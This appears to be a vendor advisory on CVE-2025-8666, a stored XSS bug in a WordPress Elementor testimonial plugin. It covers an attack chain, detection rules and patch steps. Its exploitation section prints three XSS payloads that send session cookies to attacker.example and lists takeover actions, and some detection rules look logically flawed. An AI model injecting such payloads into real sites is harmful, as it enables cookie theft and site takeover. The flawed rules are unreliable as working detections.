CVE-2025-8666 — Stored Cross-Site Scripting in Testimonial Carousel For Elementor

Executive Summary

CVE-2025-8666 is a Stored Cross-Site Scripting (XSS) vulnerability in the Testimonial Carousel For Elementor plugin for WordPress, affecting all versions up to and including 11.6.2. An authenticated attacker with at least contributor-level privileges can inject arbitrary malicious web scripts through multiple parameters, which execute whenever any user (including administrators) visits a page containing the injected payload. The vulnerability stems from insufficient input sanitization and output escaping, carries a CVSS base score of 6.4 (Medium), and has a claimed patch in version 11.6.3 that has not yet been independently confirmed.

Technical Analysis

The Testimonial Carousel For Elementor plugin integrates with the popular Elementor page builder, allowing WordPress site owners to display customer testimonials in a carousel format. The plugin handles user-supplied content through multiple input parameters that are used to render testimonial content on the front end.

Stored XSS of this nature occurs when the application:

1. Accepts input without adequate sanitization — The plugin fails to strip or neutralize dangerous HTML/JavaScript constructs (e.g., <script>, onerror, onload, javascript: URIs) from the user-supplied parameters before storing them in the WordPress database.

2. Fails to escape output — When the testimonial content is later rendered in the browser, the plugin outputs stored values directly into the HTML document without proper context-aware encoding. This allows script payloads to be interpreted as active JavaScript rather than inert text.

The vulnerability is reachable through multiple parameters, indicating a systemic lack of sanitization rather than a single overlooked field. Typical attack surfaces for such plugin vulnerabilities include:

• Testimonial content/title fields
• Author name/role fields
• Custom CSS classes
• Image URLs or alt attributes
• Any field that accepts free-form text or attributes

From a code-level perspective, the flaw pattern is:

// Vulnerable pattern (conceptual)
echo "<div class='testimonial-content'>" . $user_input . "</div>";

vs. the secure pattern:

// Secure pattern (conceptual)
echo "<div class='testimonial-content'>" . esc_html( $user_input ) . "</div>";

Because contributor-level accounts on WordPress can create draft posts (and in many configurations, publish them), the attack surface is broader than requiring full administrator access. The stored payload persists in the database and executes for every subsequent visitor to the affected page, making the attack persistent and self-propagating for the duration of the page's existence.

Exploitation Scenarios

No public PoC is currently available, but the following attack chain describes the realistic exploitation path based on the vulnerability class.

Stage 1: Reconnaissance / Target Identification

1. An attacker scans for WordPress sites using directory enumeration (/wp-content/plugins/) or plugin version fingerprinting.
2. The attacker looks specifically for the directory name corresponding to Testimonial Carousel For Elementor and confirms the version is ≤ 11.6.2 by reading the readme.txt file (commonly accessible at /wp-content/plugins/<plugin-slug>/readme.txt).
3. The attacker identifies the site's registration/login mechanism. If user registration is open, they create a contributor account. If closed, they either compromise an existing low-privilege account via credential stuffing, phishing, or password spraying, or leverage a previously stolen session.

Stage 2: Weaponization / Payload Crafting

1. The attacker crafts an XSS payload designed to bypass filters. Examples include:

   <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>
   

   <img src=x onerror="document.location='https://attacker.example/?s='+document.cookie">
   

   <svg/onload="new Image().src='https://attacker.example/?k='+document.cookie">
   

   In some cases, the payload may include obfuscation techniques such as encoding, event-handler nesting, or mixed-case tags to evade partial WAF filters.

Stage 3: Delivery / Injection

1. The attacker logs in as a contributor and creates a new post or page using the Elementor editor.
2. Inside the editor, they insert a Testimonial Carousel widget.
3. The attacker populates the testimonial fields (e.g., testimonial text, author name, or other configurable parameters) with the crafted XSS payload.
4. The attacker saves/publishes the content. The plugin stores the payload in the wp_posts and wp_postmeta tables without sanitization.

Stage 4: Execution / Post-Exploitation

1. When any user — including WordPress administrators, shop managers, or other privileged users — visits the page containing the malicious testimonial block, the stored payload executes in their browser.
2. The attacker's JavaScript can:
   • Steal session cookies (if not HttpOnly-flagged)
   • Perform actions on behalf of an authenticated administrator (e.g., create new admin users, install backdoor plugins, modify site content)
   • Redirect the administrator to a phishing page that mimics the WordPress login
   • Capture keystrokes or DOM content
   • Exfiltrate sensitive data displayed on the page (e.g., customer PII, order data for WooCommerce sites)
3. If the attacker successfully gains administrative access via session theft or CSRF-abuse, they may install a persistent web shell (e.g., a malicious plugin or theme backdoor) for long-term reconnaissance and further compromise of the hosting infrastructure.

Impact Assessment

Business Impact: The primary impact is a loss of confidentiality and integrity for affected WordPress sites. An attacker who compromises a contributor account can escalate to full site takeover in scenarios where:

• Session cookies are not protected with HttpOnly and Secure flags.
• The WordPress admin panel is accessible at a predictable URL (e.g., /wp-admin/).

Affected Systems: All WordPress installations running Testimonial Carousel For Elementor version 11.6.2 or earlier. The plugin is widely deployed across business, e-commerce, and marketing sites given Elementor's large user base (over 5 million active installations for the base builder).

Blast Radius: The CVSS score of 6.4 reflects:

• AV:N (Network) — Exploitable remotely over the internet.
• PR:L (Low Privilege Required) — Requires a contributor-level account or higher.
• UI:R (User Interaction Required) — A victim must visit the compromised page.
• S:C (Scope Changed) — The vulnerable component is the plugin, but the impact extends to the browser and other components connected to the WordPress site.
• C:L / I:L / A:N — Confidentiality and integrity are partially compromised; availability is not directly affected.

In multi-site WordPress installations or shared hosting environments, the compromise of one site may also expose adjacent sites if the database or hosting account is shared and credentials are stolen.

Detection Guidance

Sigma Rule

title: Stored XSS Payload Injection via Testimonial Carousel For Elementor
id: c0e26c29-58a3-4a8f-91f2-4ef218a23b27
status: experimental
description: Detects JavaScript event handlers or script tags in WordPress post content submitted by non-admin users, indicative of stored XSS attempts against <=11.6.2.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8666
author: Valtersit Threat Intelligence
date: 2025/01/15
logsource:
    category: application
    product: wordpress
detection:
    selection:
        user_role: 'contributor|author|editor'
        event_category: 'post_creation|post_update'
    payload_filter:
        post_content:
            - 'SCRIPT'
            - 'svg/onload'
            - 'img src=x onerror'
            - 'JAVASCRIPT:'
            - 'onclick='
    condition: selection and payload_filter
level: high
falsepositives:
    - Legitimate plugin or theme usage of JavaScript in posts by highly trusted editors (rare)

YARA Rule

rule CVE_2025_8666_Stored_XSS_Testimonial_Carousel
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects XSS payloads in content destined for Testimonial Carousel For Elementor"
        cve = "CVE-2025-8666"
        date = "2025-01-15"
        version = "1.0"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-8666"
    strings:
        $s1 = "<script>" ascii wide nocase
        $s2 = "onerror=" ascii wide nocase
        $s3 = "onload=" ascii wide nocase
        $s4 = "<svg" ascii wide nocase
        $s5 = "javascript:" ascii wide nocase
        $s6 = "document.cookie" ascii wide nocase
        $s7 = "fetch(" ascii wide nocase
        $s8 = "XmlHttpRequest" ascii wide nocase
        $s9 = "event-handler" ascii wide nocase
    condition:
        uint16(0) == 0x3C21 or uint16(0) == 0x3C73 // "<!" or "<s"
        and filesize < 2MB
        and 2 of ($s*)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2025-8666 - Stored XSS payload detected in WordPress post submission"; flow:established,to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; pcre:"/(<script|<svg[^>]*onload|onerror\s*=|javascript\s*:)/i"; classtype:web-application-attack; sid:20258666; rev:1; metadata:created_at 2025_01_15, cve CVE-2025-8666, target Wordpress)

Elastic Detection

// EQL to search filebeat/winlogbeat logs for WordPress exploit attempts
// Assumes WordPress HTTP logs are ingested into Elastic
sequence by source.ip
  [network where event.action == "POST" and http.request.method == "POST" and
   url.path == "/wp-admin/post.php" and
   user.name != "admin"]
  [file where process.name == "php-fpm" and
   file.path contains "wp-content/uploads" and
   file.extension in ("php", "html")]

Splunk SPL Query

index=web sourcetype=access_combined
| where method="POST"
| where uri_path="/wp-admin/post.php"
| search uri_query_name OR post_body contains "<script" OR post_body contains "onerror=" OR post_body contains "onload=" OR post_body contains "javascript:"
| eval user_role=case(user_name="editor","editor", user_name="author","author", user_name="contributor","contributor", true(), "unknown")
| search user_role IN ("editor", "author", "contributor")
| stats count by src_ip, user_name, uri_path, post_body, _time
| sort - _time

Wazuh OSSEC Rule

<group name="wordpress,">
  <rule id="809392" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">/wp-admin/post.php</field>
    <field name="user_agent">WordPress</field>
    <regex>\b(<script|onerror=|onload=|javascript:)\b</regex>
    <description>Possible CVE-2025-8666 Stored XSS payload injection attempt via Testimonial Carousel For Elementor</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>wordpress,web_application_attack,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED (single source claims a patch exists; not independently confirmed)

1) Immediate Mitigations (if patching is not immediately possible)

• Restrict contributor account privileges: Disable user registration for untrusted parties; audit existing contributor accounts and revoke where unnecessary.
• Use a Web Application Firewall (WAF): Deploy rules to block common XSS vectors in POST bodies to /wp-admin/post.php and Elementor AJAX endpoints.
• Interim plugin hardening: Temporarily hide the Testimonial Carousel element from non-prod pages if you cannot patch immediately. If you are on versions ≤ 11.6.2, consider deactivating the plugin until a verified patch is applied.
• Force HTTPS + set HttpOnly/Secure flags on session cookies in wp-config.php to limit cookie theft impact.
• Restrict contributor access to the medium trust zone: Segment production WordPress from other corporate networks.

2) Patch / Upgrade Steps

• Update the plugin to version 11.6.3 (the claimed fixed version — verify the fix is available in your installation's plugin repository before applying in production).
• Steps:
  1. Back up the site (full database + files).
  2. Log in to the WordPress admin panel → Plugins → Installed Plugins.
  3. Locate "Testimonial Carousel For Elementor" → click "Update Now" from the version detail page.
  4. If the update is not auto-available, download the latest version from the vendor page and replace the /wp-content/plugins/testimonial-carousel-for-elementor/ directory manually via FTP/SFTP or WP-CLI:

     wp plugin update testimonial-carousel-for-elementor
     

  5. After updating, resave any existing testimonial elements to ensure old stored content is passed through proper output escaping.
  6. For installations of versions < 11.6.3, remove any existing testimonials and re-add them after the update to clear any already-stored malicious content.

3) Long-Term Hardening

• Establish a vulnerability management cadence — subscribe to the WordPress plugin changelog or use a plugin manager that auto-updates.
• Input validation policy — for any plugin that accepts user-generated content at contributor level, audit it for XSS at the code level or add output-escaping functions using a plugin-level security review.
• Least privilege — minimize the number of contributor/author accounts; require two-factor authentication for all accounts with editing privileges.
• Regular security scans — use a WPScan or Acunetix-style scanner to periodically scan for testimonial-carousel-for-elementor version and known CVEs.
• Web Application Firewall (WAF) — deploy a WAF capable of inspecting POST payloads and filtering out on* event handlers.
• Monitor logs — review HTTP access logs for irregular POST requests to /wp-admin/post.php that contain HTML event attributes.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-8666 — Official CVE description and CVSS score (CVSS 6.4).
2. WordPress Plugin Repository: https://wordpress.org/plugins/testimonial-carousel-for-elementor/ — Vendor distribution page; check for version history and release notes (note: CVE-2025-8666 does NOT appear on the osv.dev database, so patch confirmation is pending).
3. OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html — Contextual output encoding principles the fix should include.
4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE-2025-8666 is NOT listed; no known in-the-wild exploitation evidence at time of writing.

Threat Actor Campaign Evidence: No specific campaigns referencing CVE-2025-8666 have been publicly documented. This does not preclude targeted attacks, given that contributor-level XSS in WordPress plugins is a frequently weaponized bug class, particularly in bulk auto-planting attacks against the 800,000+ sites using Elementor.